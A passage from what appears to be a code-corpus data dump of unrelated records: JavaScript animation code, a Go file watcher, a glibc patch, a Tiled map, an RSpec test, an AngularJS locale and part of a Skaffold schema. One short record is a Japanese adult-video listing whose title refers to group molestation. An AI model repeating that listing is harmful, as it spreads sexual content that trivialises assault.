{\n this._paused = 'default';\n }\n }\n\n toString () {\n return `${this.expressionName}(${this._input.toString()}, ${this.duration.toString()}, ${this.fade.toString()})`;\n }\n\n _bindMetadata (metadata) {\n this._input._bindMetadata(metadata);\n this.progress._bindMetadata(metadata);\n this.fade._bindMetadata(metadata);\n this.duration._bindMetadata(metadata);\n\n checkType('animation', 'input', 0, ['number', 'date', 'timerange'], this._originalInput);\n checkType('animation', 'duration', 1, 'number', this.duration);\n\n checkType('animation', 'fade', 2, 'fade', this.fade);\n checkFeatureIndependent('animation', 'duration', 1, this.duration);\n }\n\n isAnimated () {\n return true;\n }\n\n _dataReady () {\n if (waitingForLayer.has(this)) {\n waitingForLayer.delete(this);\n waitingForOthers.add(this);\n }\n // setTimeout is needed to avoid the possibility of a de-synchronization of 1 frame\n // if the last layer to be loaded is not the first one on the painting loop\n setTimeout(() => {\n if (waitingForOthers.has(this)) {\n waitingForLayer = new Set([...waitingForLayer].filter(expr => {\n while (expr.parent) {\n expr = expr.parent;\n }\n if (expr._getRootExpressions) {\n // The animation hasn't been removed from the viz\n return true;\n }\n return false;\n }));\n if (waitingForLayer.size > 0) {\n return;\n }\n [...waitingForOthers.values()].map(anim => {\n if (anim._paused === 'default') {\n anim.play();\n }\n });\n waitingForOthers.clear();\n }\n }, 0);\n }\n\n _postShaderCompile (program, gl) {\n super._postShaderCompile(program, gl);\n }\n\n _setTimestamp (timestamp) {\n super._setTimestamp(timestamp);\n\n if (this._paused && this._lastTime === undefined) {\n return;\n }\n\n let deltaTime = 0;\n const speed = 1 / this.duration.value;\n\n if (this._lastTime !== undefined) {\n deltaTime = timestamp - this._lastTime;\n }\n\n this._lastTime = timestamp;\n\n if (this._paused) {\n return;\n }\n\n this.progress.value = (this.progress.value + speed * deltaTime) % 1;\n }\n\n eval (feature) {\n const input = this._input.eval(feature);\n\n if (input === null) {\n return 0;\n }\n\n const progress = this.progress.value;\n const duration = this.duration.value;\n const fadeIn = this.fade.fadeIn.eval(feature);\n const fadeOut = this.fade.fadeOut.eval(feature);\n\n const output = 1 - clamp(Math.abs(input - progress) * duration / (input > progress ? fadeIn : fadeOut), 0, 1);\n\n return output;\n }\n\n /**\n * Get the current time stamp of the animation\n *\n * @returns {Number|Date} Current time stamp of the animation. If the animation is based on a numeric expression this will output a number, if it is based on a date expression it will output a date\n *\n * @example <caption>Using the `getProgressValue` method to get the animation current value.</caption>\n * const s = carto.expressions;\n * let animationExpr = s.animation(s.linear(s.prop('saledate'), 1991, 2017), 20, s.fade(0.7, 0.4));\n * const animationStyle = {\n * color: s.ramp(s.linear(s.prop('priceperunit'), 2000, 1010000), [s.rgb(0, 255, 0), s.rgb(255, 0, 0)]),\n * width: s.mul(s.sqrt(s.prop('priceperunit')), 0.05),\n * filter: animationExpr\n * };\n * layer.on('updated', () => {\n * let currTime = Math.floor(animationExpr.getProgressValue());\n * document.getElementById('timestamp').innerHTML = currTime;\n * });\n *\n * @memberof expressions.Animation\n * @name getProgressValue\n * @instance\n * @api\n */\n getProgressValue () {\n const progress = this.progress.value;\n return this._input.converse(progress);\n }\n\n /**\n * Set the time stamp of the animation\n * @api\n * @memberof expressions.Animation\n * @instance\n * @name setCurrent\n * @param {Date|number} value - A JavaScript Date object with the new animation time\n */\n setTimestamp (timestamp) {\n const date = castDate(timestamp);\n const [tmin, tmax] = this._input.limits();\n\n if (date.getTime() < tmin) {\n throw new RangeError('animation.setTimestamp requires the date parameter to be higher than the lower limit');\n }\n if (date.getTime() > tmax) {\n throw new RangeError('animation.setTimestamp requires the date parameter to be lower than the higher limit');\n }\n\n this.progress.value = (date.getTime() - tmin) / (tmax - tmin);\n }\n\n /**\n * Get the animation progress.\n *\n * @returns {Number} A number representing the progress. 0 when the animation just started and 1 at the end of the cycle.\n * @api\n * @instance\n * @memberof expressions.Animation\n * @name getProgressPct\n */\n getProgressPct () {\n return this.progress.value;\n }\n\n /**\n * Set the animation progress from 0 to 1.\n * @param {number} progress - A number in the [0-1] range setting the animation progress.\n * @api\n * @instance\n * @memberof expressions.Animation\n * @name setProgressPct\n */\n setProgressPct (progress) {\n progress = Number.parseFloat(progress);\n\n if (progress < 0 || progress > 1) {\n throw new TypeError(`animation.setProgressPct requires a number between 0 and 1 as parameter but got: ${progress}`);\n }\n\n this.progress.value = progress;\n }\n\n /**\n * Returns whether the animation is playing or not\n *\n * @api\n * @memberof expressions.Animation\n * @instance\n * @name isPlaying\n */\n isPlaying () {\n return this._paused === false;\n }\n\n /**\n * Pause the animation\n *\n * @api\n * @memberof expressions.Animation\n * @instance\n * @name pause\n */\n pause () {\n this._paused = true;\n }\n\n /**\n * Play/resume the animation\n *\n * @api\n * @memberof expressions.Animation\n * @instance\n * @name play\n */\n play () {\n this._paused = false;\n this.notify();\n }\n\n /**\n * Stops the animation\n *\n * @api\n * @memberof expressions.Animation\n * @instance\n * @name stop\n */\n stop () {\n this.progress.value = 0;\n this._paused = true;\n }\n}\n"} {"text": "// Package watch provides a filesystem watcher that is used to rebuild affected targets.\npackage watch\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"path\"\n\t\"time\"\n\n\t\"github.com/fsnotify/fsnotify\"\n\t\"github.com/streamrail/concurrent-map\"\n\t\"gopkg.in/op/go-logging.v1\"\n\n\t\"github.com/thought-machine/please/src/cli\"\n\t\"github.com/thought-machine/please/src/core\"\n\t\"github.com/thought-machine/please/src/fs\"\n\t\"github.com/thought-machine/please/src/run\"\n)\n\nvar log = logging.MustGetLogger(\"watch\")\n\nconst debounceInterval = 100 * time.Millisecond\n\n// A CallbackFunc is supplied to Watch in order to trigger a build.\ntype CallbackFunc func(*core.BuildState, []core.BuildLabel)\n\n// Watch starts watching the sources of the given labels for changes and triggers\n// rebuilds whenever they change.\n// It never returns successfully, it will either watch forever or die.\nfunc Watch(state *core.BuildState, labels core.BuildLabels, callback CallbackFunc) {\n\t// This hasn't been set before, do it now.\n\tstate.NeedTests = anyTests(state, labels)\n\twatcher, err := fsnotify.NewWatcher()\n\tif err != nil {\n\t\tlog.Fatalf(\"Error setting up watcher: %s\", err)\n\t}\n\t// This sets up the actual watches. It must be done in a separate goroutine.\n\tfiles := cmap.New()\n\tgo startWatching(watcher, state, labels, files)\n\n\tparentCtx, cancelParent := context.WithCancel(context.Background())\n\tcli.AtExit(func() {\n\t\tcancelParent()\n\t\ttime.Sleep(5 * time.Millisecond) // Brief pause to give the cancel() call time to progress before the process dies\n\t})\n\n\tctx, cancel := context.WithCancel(parentCtx)\n\n\t// The initial setup only builds targets, it doesn't test or run things.\n\t// Do one of those now if requested.\n\tif state.NeedTests || state.NeedRun {\n\t\tbuild(ctx, state, labels, callback)\n\t}\n\n\tfor {\n\t\tselect {\n\t\tcase event := <-watcher.Events:\n\t\t\tlog.Info(\"Event: %s\", event)\n\t\t\tif !files.Has(event.Name) {\n\t\t\t\tlog.Notice(\"Skipping notification for %s\", event.Name)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Kill any previous process.\n\t\t\tcancel()\n\t\t\tctx, cancel = context.WithCancel(parentCtx)\n\n\t\t\t// Quick debounce; poll and discard all events for the next brief period.\n\t\touter:\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-watcher.Events:\n\t\t\t\tcase <-time.After(debounceInterval):\n\t\t\t\t\tbreak outer\n\t\t\t\t}\n\t\t\t}\n\t\t\tbuild(ctx, state, labels, callback)\n\t\tcase err := <-watcher.Errors:\n\t\t\tlog.Error(\"Error watching files:\", err)\n\t\t}\n\t}\n}\n\nfunc startWatching(watcher *fsnotify.Watcher, state *core.BuildState, labels []core.BuildLabel, files cmap.ConcurrentMap) {\n\t// Deduplicate seen targets & sources.\n\ttargets := map[*core.BuildTarget]struct{}{}\n\tdirs := map[string]struct{}{}\n\n\tvar startWatch func(*core.BuildTarget)\n\tstartWatch = func(target *core.BuildTarget) {\n\t\tif _, present := targets[target]; present {\n\t\t\treturn\n\t\t}\n\t\ttargets[target] = struct{}{}\n\t\tfor _, source := range target.AllSources() {\n\t\t\taddSource(watcher, state, source, dirs, files)\n\t\t}\n\t\tfor _, datum := range target.AllData() {\n\t\t\taddSource(watcher, state, datum, dirs, files)\n\t\t}\n\t\tfor _, dep := range target.Dependencies() {\n\t\t\tstartWatch(dep)\n\t\t}\n\t\tpkg := state.Graph.PackageOrDie(target.Label)\n\t\tif !files.Has(pkg.Filename) {\n\t\t\tlog.Notice(\"Adding watch on %s\", pkg.Filename)\n\t\t\tfiles.Set(pkg.Filename, struct{}{})\n\t\t}\n\t\tfor _, subinclude := range pkg.Subincludes {\n\t\t\tstartWatch(state.Graph.TargetOrDie(subinclude))\n\t\t}\n\t}\n\n\tfor _, label := range labels {\n\t\tstartWatch(state.Graph.TargetOrDie(label))\n\t}\n\t// Drop a message here so they know when it's actually ready to go.\n\tfmt.Println(\"And now my watch begins...\")\n}\n\nfunc addSource(watcher *fsnotify.Watcher, state *core.BuildState, source core.BuildInput, dirs map[string]struct{}, files cmap.ConcurrentMap) {\n\tif source.Label() == nil {\n\t\tfor _, src := range source.Paths(state.Graph) {\n\t\t\tif err := fs.Walk(src, func(src string, isDir bool) error {\n\t\t\t\tfiles.Set(src, struct{}{})\n\t\t\t\tif !path.IsAbs(src) {\n\t\t\t\t\tfiles.Set(\"./\"+src, struct{}{})\n\t\t\t\t}\n\t\t\t\tdir := src\n\t\t\t\tif !isDir {\n\t\t\t\t\tdir = path.Dir(src)\n\t\t\t\t}\n\t\t\t\tif _, present := dirs[dir]; !present {\n\t\t\t\t\tlog.Notice(\"Adding watch on %s\", dir)\n\t\t\t\t\tdirs[dir] = struct{}{}\n\t\t\t\t\tif err := watcher.Add(dir); err != nil {\n\t\t\t\t\t\tlog.Error(\"Failed to add watch on %s: %s\", src, err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}); err != nil {\n\t\t\t\tlog.Error(\"Failed to add watch on %s: %s\", src, err)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// anyTests returns true if any of the given labels refer to tests.\nfunc anyTests(state *core.BuildState, labels []core.BuildLabel) bool {\n\tfor _, l := range labels {\n\t\tif state.Graph.TargetOrDie(l).IsTest {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// build invokes a single build while watching.\nfunc build(ctx context.Context, state *core.BuildState, labels []core.BuildLabel, callback CallbackFunc) {\n\t// Set up a new state & copy relevant parts off the existing one.\n\tns := core.NewBuildState(state.Config)\n\tns.Cache = state.Cache\n\tns.VerifyHashes = state.VerifyHashes\n\tns.NumTestRuns = state.NumTestRuns\n\tns.NeedTests = state.NeedTests\n\tns.NeedRun = state.NeedRun\n\tns.Watch = true\n\tns.CleanWorkdirs = state.CleanWorkdirs\n\tns.DebugTests = state.DebugTests\n\tns.ShowAllOutput = state.ShowAllOutput\n\tns.StartTime = time.Now()\n\tcallback(ns, labels)\n\tif state.NeedRun {\n\t\t// Don't wait for this, its lifetime will be controlled by the context.\n\t\tgo run.Parallel(ctx, state, labels, nil, state.Config.Please.NumThreads, false, false, false, false, \"\")\n\t}\n}\n"} {"text": "From df1cf48777fe4cd81ad7fb09ecbe5b31432b7c1c Mon Sep 17 00:00:00 2001\nFrom: Yvan Roux <yvan.roux@linaro.org>\nDate: Fri, 15 Apr 2016 13:29:26 +0200\nSubject: [PATCH] Suppress GCC 6 warning about ambiguous 'else' with\n -Wparentheses\n\n---\n nis/nis_call.c | 20 +++++++++++---------\n stdlib/setenv.c | 24 +++++++++++++-----------\n 2 files changed, 24 insertions(+), 20 deletions(-)\n\n--- a/nis/nis_call.c\n+++ b/nis/nis_call.c\n@@ -680,16 +680,18 @@\n /* Choose which entry should be evicted from the cache. */\n loc = &nis_server_cache[0];\n if (*loc != NULL)\n- for (i = 1; i < 16; ++i)\n- if (nis_server_cache[i] == NULL)\n-\t{\n+ {\n+ for (i = 1; i < 16; ++i)\n+\tif (nis_server_cache[i] == NULL)\n+\t {\n+\t loc = &nis_server_cache[i];\n+\t break;\n+\t }\n+\telse if ((*loc)->uses > nis_server_cache[i]->uses\n+\t\t || ((*loc)->uses == nis_server_cache[i]->uses\n+\t\t && (*loc)->expires > nis_server_cache[i]->expires))\n \t loc = &nis_server_cache[i];\n-\t break;\n-\t}\n- else if ((*loc)->uses > nis_server_cache[i]->uses\n-\t || ((*loc)->uses == nis_server_cache[i]->uses\n-\t\t && (*loc)->expires > nis_server_cache[i]->expires))\n-\tloc = &nis_server_cache[i];\n+ }\n old = *loc;\n *loc = new;\n \n--- a/stdlib/setenv.c\n+++ b/stdlib/setenv.c\n@@ -289,18 +289,20 @@\n ep = __environ;\n if (ep != NULL)\n while (*ep != NULL)\n- if (!strncmp (*ep, name, len) && (*ep)[len] == '=')\n-\t{\n-\t /* Found it. Remove this pointer by moving later ones back. */\n-\t char **dp = ep;\n+ {\n+\tif (!strncmp (*ep, name, len) && (*ep)[len] == '=')\n+\t {\n+\t /* Found it. Remove this pointer by moving later ones back. */\n+\t char **dp = ep;\n \n-\t do\n-\t dp[0] = dp[1];\n-\t while (*dp++);\n-\t /* Continue the loop in case NAME appears again. */\n-\t}\n- else\n-\t++ep;\n+\t do\n+\t\tdp[0] = dp[1];\n+\t while (*dp++);\n+\t /* Continue the loop in case NAME appears again. */\n+\t }\n+\telse\n+\t ++ep;\n+ }\n \n UNLOCK;\n \n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<map version=\"1.0\" orientation=\"isometric\" width=\"10\" height=\"10\" tilewidth=\"100\" tileheight=\"50\">\n <tileset firstgid=\"1\" name=\"wetlands-ipad\" tilewidth=\"100\" tileheight=\"100\" spacing=\"1\" margin=\"1\">\n <tileoffset x=\"0\" y=\"15\"/>\n <image source=\"tile_iso_offset.png\" width=\"256\" height=\"256\"/>\n <tile id=\"0\">\n <properties>\n <property name=\"altitude\" value=\"0\"/>\n <property name=\"isWater\" value=\"0\"/>\n </properties>\n </tile>\n <tile id=\"1\">\n <properties>\n <property name=\"altitude\" value=\"0\"/>\n <property name=\"isWater\" value=\"0\"/>\n </properties>\n </tile>\n <tile id=\"2\">\n <properties>\n <property name=\"altitude\" value=\"2.5\"/>\n <property name=\"isWater\" value=\"0\"/>\n </properties>\n </tile>\n <tile id=\"3\">\n <properties>\n <property name=\"altitude\" value=\"-1\"/>\n <property name=\"isWater\" value=\"1\"/>\n </properties>\n </tile>\n </tileset>\n <layer name=\"baseLayer\" width=\"10\" height=\"10\">\n <data encoding=\"base64\" compression=\"zlib\">\n eJxtkEEOwDAIwyDh/2/eDpsUWTlYSK0bCpoZBftygQr74fBc7lvmhktH0ZP5i+wr79Izzg+9jMp//hmcS8jNvXj6ng4OSfcBuQwA6g==\n </data>\n </layer>\n</map>\n\n"} {"text": "神崎映美里最新番号\r\n【CS-687】集団痴漢現場 3</a>2003-06-07アリーナエンターテインメント$$$Are50分钟"} {"text": "# frozen_string_literal: true\n\nrequire 'spec_helper'\n\nRSpec.describe 'ActiveRecord locking' do\n let(:issue) { create(:issue) }\n\n shared_examples 'locked model' do\n before do\n issue.update_column(:lock_version, start_lock_version)\n end\n\n it 'can be updated' do\n issue.update(title: \"New title\")\n\n expect(issue.reload.lock_version).to eq(new_lock_version)\n end\n\n it 'can be deleted' do\n expect { issue.destroy }.to change { Issue.count }.by(-1)\n end\n end\n\n context 'when lock_version is NULL' do\n let(:start_lock_version) { nil }\n let(:new_lock_version) { 1 }\n\n it_behaves_like 'locked model'\n end\n\n context 'when lock_version is 0' do\n let(:start_lock_version) { 0 }\n let(:new_lock_version) { 1 }\n\n it_behaves_like 'locked model'\n end\n\n context 'when lock_version is 1' do\n let(:start_lock_version) { 1 }\n let(:new_lock_version) { 2 }\n\n it_behaves_like 'locked model'\n end\nend\n"} {"text": "'use strict';\nangular.module(\"ngLocale\", [], [\"$provide\", function($provide) {\nvar PLURAL_CATEGORY = {ZERO: \"zero\", ONE: \"one\", TWO: \"two\", FEW: \"few\", MANY: \"many\", OTHER: \"other\"};\n$provide.value(\"$locale\", {\n \"DATETIME_FORMATS\": {\n \"AMPMS\": [\n \"\\u0bae\\u0bc1\\u0bb1\\u0bcd\\u0baa\\u0b95\\u0bb2\\u0bcd\",\n \"\\u0baa\\u0bbf\\u0bb1\\u0bcd\\u0baa\\u0b95\\u0bb2\\u0bcd\"\n ],\n \"DAY\": [\n \"\\u0b9e\\u0bbe\\u0baf\\u0bbf\\u0bb1\\u0bc1\",\n \"\\u0ba4\\u0bbf\\u0b99\\u0bcd\\u0b95\\u0bb3\\u0bcd\",\n \"\\u0b9a\\u0bc6\\u0bb5\\u0bcd\\u0bb5\\u0bbe\\u0baf\\u0bcd\",\n \"\\u0baa\\u0bc1\\u0ba4\\u0ba9\\u0bcd\",\n \"\\u0bb5\\u0bbf\\u0baf\\u0bbe\\u0bb4\\u0ba9\\u0bcd\",\n \"\\u0bb5\\u0bc6\\u0bb3\\u0bcd\\u0bb3\\u0bbf\",\n \"\\u0b9a\\u0ba9\\u0bbf\"\n ],\n \"ERANAMES\": [\n \"\\u0b95\\u0bbf\\u0bb1\\u0bbf\\u0bb8\\u0bcd\\u0ba4\\u0bc1\\u0bb5\\u0bc1\\u0b95\\u0bcd\\u0b95\\u0bc1 \\u0bae\\u0bc1\\u0ba9\\u0bcd\",\n \"\\u0b85\\u0ba9\\u0bcb \\u0b9f\\u0bcb\\u0bae\\u0bbf\\u0ba9\\u0bbf\"\n ],\n \"ERAS\": [\n \"\\u0b95\\u0bbf.\\u0bae\\u0bc1.\",\n \"\\u0b95\\u0bbf.\\u0baa\\u0bbf.\"\n ],\n \"FIRSTDAYOFWEEK\": 6,\n \"MONTH\": [\n \"\\u0b9c\\u0ba9\\u0bb5\\u0bb0\\u0bbf\",\n \"\\u0baa\\u0bbf\\u0baa\\u0bcd\\u0bb0\\u0bb5\\u0bb0\\u0bbf\",\n \"\\u0bae\\u0bbe\\u0bb0\\u0bcd\\u0b9a\\u0bcd\",\n \"\\u0b8f\\u0baa\\u0bcd\\u0bb0\\u0bb2\\u0bcd\",\n \"\\u0bae\\u0bc7\",\n \"\\u0b9c\\u0bc2\\u0ba9\\u0bcd\",\n \"\\u0b9c\\u0bc2\\u0bb2\\u0bc8\",\n \"\\u0b86\\u0b95\\u0bb8\\u0bcd\\u0b9f\\u0bcd\",\n \"\\u0b9a\\u0bc6\\u0baa\\u0bcd\\u0b9f\\u0bae\\u0bcd\\u0baa\\u0bb0\\u0bcd\",\n \"\\u0b85\\u0b95\\u0bcd\\u0b9f\\u0bcb\\u0baa\\u0bb0\\u0bcd\",\n \"\\u0ba8\\u0bb5\\u0bae\\u0bcd\\u0baa\\u0bb0\\u0bcd\",\n \"\\u0b9f\\u0bbf\\u0b9a\\u0bae\\u0bcd\\u0baa\\u0bb0\\u0bcd\"\n ],\n \"SHORTDAY\": [\n \"\\u0b9e\\u0bbe\",\n \"\\u0ba4\\u0bbf\",\n \"\\u0b9a\\u0bc6\",\n \"\\u0baa\\u0bc1\",\n \"\\u0bb5\\u0bbf\",\n \"\\u0bb5\\u0bc6\",\n \"\\u0b9a\"\n ],\n \"SHORTMONTH\": [\n \"\\u0b9c\\u0ba9.\",\n \"\\u0baa\\u0bbf\\u0baa\\u0bcd.\",\n \"\\u0bae\\u0bbe\\u0bb0\\u0bcd.\",\n \"\\u0b8f\\u0baa\\u0bcd.\",\n \"\\u0bae\\u0bc7\",\n \"\\u0b9c\\u0bc2\\u0ba9\\u0bcd\",\n \"\\u0b9c\\u0bc2\\u0bb2\\u0bc8\",\n \"\\u0b86\\u0b95.\",\n \"\\u0b9a\\u0bc6\\u0baa\\u0bcd.\",\n \"\\u0b85\\u0b95\\u0bcd.\",\n \"\\u0ba8\\u0bb5.\",\n \"\\u0b9f\\u0bbf\\u0b9a.\"\n ],\n \"WEEKENDRANGE\": [\n 6,\n 6\n ],\n \"fullDate\": \"EEEE, d MMMM, y\",\n \"longDate\": \"d MMMM, y\",\n \"medium\": \"d MMM, y h:mm:ss a\",\n \"mediumDate\": \"d MMM, y\",\n \"mediumTime\": \"h:mm:ss a\",\n \"short\": \"d-M-yy h:mm a\",\n \"shortDate\": \"d-M-yy\",\n \"shortTime\": \"h:mm a\"\n },\n \"NUMBER_FORMATS\": {\n \"CURRENCY_SYM\": \"\\u20b9\",\n \"DECIMAL_SEP\": \".\",\n \"GROUP_SEP\": \",\",\n \"PATTERNS\": [\n {\n \"gSize\": 2,\n \"lgSize\": 3,\n \"maxFrac\": 3,\n \"minFrac\": 0,\n \"minInt\": 1,\n \"negPre\": \"-\",\n \"negSuf\": \"\",\n \"posPre\": \"\",\n \"posSuf\": \"\"\n },\n {\n \"gSize\": 2,\n \"lgSize\": 3,\n \"maxFrac\": 2,\n \"minFrac\": 2,\n \"minInt\": 1,\n \"negPre\": \"\\u00a4\\u00a0-\",\n \"negSuf\": \"\",\n \"posPre\": \"\\u00a4\\u00a0\",\n \"posSuf\": \"\"\n }\n ]\n },\n \"id\": \"ta\",\n \"pluralCat\": function(n, opt_precision) { if (n == 1) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}\n});\n}]);\n"} {"text": "{\n \"type\": \"object\",\n \"anyOf\": [\n {\n \"$ref\": \"#/definitions/SkaffoldConfig\"\n }\n ],\n \"$schema\": \"http://json-schema-org/draft-07/schema#\",\n \"definitions\": {\n \"Activation\": {\n \"properties\": {\n \"command\": {\n \"type\": \"string\",\n \"description\": \"a Skaffold command for which the profile is auto-activated.\",\n \"x-intellij-html-description\": \"a Skaffold command for which the profile is auto-activated.\",\n \"examples\": [\n \"dev\"\n ]\n },\n \"env\": {\n \"type\": \"string\",\n \"description\": \"a `key=pattern` pair. The profile is auto-activated if an Environment Variable `key` matches the pattern. If the pattern starts with `!`, activation happens if the remaining pattern is _not_ matched. The pattern matches if the Environment Variable value is exactly `pattern`, or the regex `pattern` is found in it. An empty `pattern` (e.g. `env: \\\"key=\\\"`) always only matches if the Environment Variable is undefined or empty.\",\n \"x-intellij-html-description\": \"a <code>key=pattern</code> pair. The profile is auto-activated if an Environment Variable <code>key</code> matches the pattern. If the pattern starts with <code>!</code>, activation happens if the remaining pattern is <em>not</em> matched. The pattern matches if the Environment Variable value is exactly <code>pattern</code>, or the regex <code>pattern</code> is found in it. An empty <code>pattern</code> (e.g. <code>env: &quot;key=&quot;</code>) always only matches if the Environment Variable is undefined or empty.\",\n \"examples\": [\n \"ENV=production\"\n ]\n },\n \"kubeContext\": {\n \"type\": \"string\",\n \"description\": \"a Kubernetes context for which the profile is auto-activated.\",\n \"x-intellij-html-description\": \"a Kubernetes context for which the profile is auto-activated.\",\n \"examples\": [\n \"minikube\"\n ]\n }\n },\n \"preferredOrder\": [\n \"env\",\n \"kubeContext\",\n \"command\"\n ],\n \"additionalProperties\": false,\n \"description\": \"criteria by which a profile is auto-activated.\",\n \"x-intellij-html-description\": \"criteria by which a profile is auto-activated.\"\n },\n \"Artifact\": {\n \"required\": [\n \"image\"\n ],\n \"anyOf\": [\n {\n \"properties\": {\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"docker\": {\n \"$ref\": \"#/definitions/DockerArtifact\",\n \"description\": \"*beta* describes an artifact built from a Dockerfile.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes an artifact built from a Dockerfile.\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\",\n \"docker\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"bazel\": {\n \"$ref\": \"#/definitions/BazelArtifact\",\n \"description\": \"*beta* requires bazel CLI to be installed and the sources to contain [Bazel](https://bazel.build/) configuration files.\",\n \"x-intellij-html-description\": \"<em>beta</em> requires bazel CLI to be installed and the sources to contain <a href=\\\"https://bazel.build/\\\">Bazel</a> configuration files.\"\n },\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\",\n \"bazel\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"jib\": {\n \"$ref\": \"#/definitions/JibArtifact\",\n \"description\": \"*alpha* builds images using the [Jib plugins for Maven or Gradle](https://github.com/GoogleContainerTools/jib/).\",\n \"x-intellij-html-description\": \"<em>alpha</em> builds images using the <a href=\\\"https://github.com/GoogleContainerTools/jib/\\\">Jib plugins for Maven or Gradle</a>.\"\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\",\n \"jib\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"kaniko\": {\n \"$ref\": \"#/definitions/KanikoArtifact\",\n \"description\": \"*alpha* builds images using [kaniko](https://github.com/GoogleContainerTools/kaniko).\",\n \"x-intellij-html-description\": \"<em>alpha</em> builds images using <a href=\\\"https://github.com/GoogleContainerTools/kaniko\\\">kaniko</a>.\"\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\",\n \"kaniko\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"context\": {\n \"type\": \"string\",\n \"description\": \"directory containing the artifact's sources.\",\n \"x-intellij-html-description\": \"directory containing the artifact's sources.\",\n \"default\": \".\"\n },\n \"custom\": {\n \"$ref\": \"#/definitions/CustomArtifact\",\n \"description\": \"*alpha* builds images using a custom build script written by the user.\",\n \"x-intellij-html-description\": \"<em>alpha</em> builds images using a custom build script written by the user.\"\n },\n \"image\": {\n \"type\": \"string\",\n \"description\": \"name of the image to be built.\",\n \"x-intellij-html-description\": \"name of the image to be built.\",\n \"examples\": [\n \"gcr.io/k8s-skaffold/example\"\n ]\n },\n \"sync\": {\n \"$ref\": \"#/definitions/Sync\",\n \"description\": \"*alpha* local files synced to pods instead of triggering an image build when modified.\",\n \"x-intellij-html-description\": \"<em>alpha</em> local files synced to pods instead of triggering an image build when modified.\"\n }\n },\n \"preferredOrder\": [\n \"image\",\n \"context\",\n \"sync\",\n \"custom\"\n ],\n \"additionalProperties\": false\n }\n ],\n \"description\": \"items that need to be built, along with the context in which they should be built.\",\n \"x-intellij-html-description\": \"items that need to be built, along with the context in which they should be built.\"\n },\n \"BazelArtifact\": {\n \"required\": [\n \"target\"\n ],\n \"properties\": {\n \"args\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional args to pass to `bazel build`.\",\n \"x-intellij-html-description\": \"additional args to pass to <code>bazel build</code>.\",\n \"default\": \"[]\",\n \"examples\": [\n \"[\\\"-flag\\\", \\\"--otherflag\\\"]\"\n ]\n },\n \"target\": {\n \"type\": \"string\",\n \"description\": \"`bazel build` target to 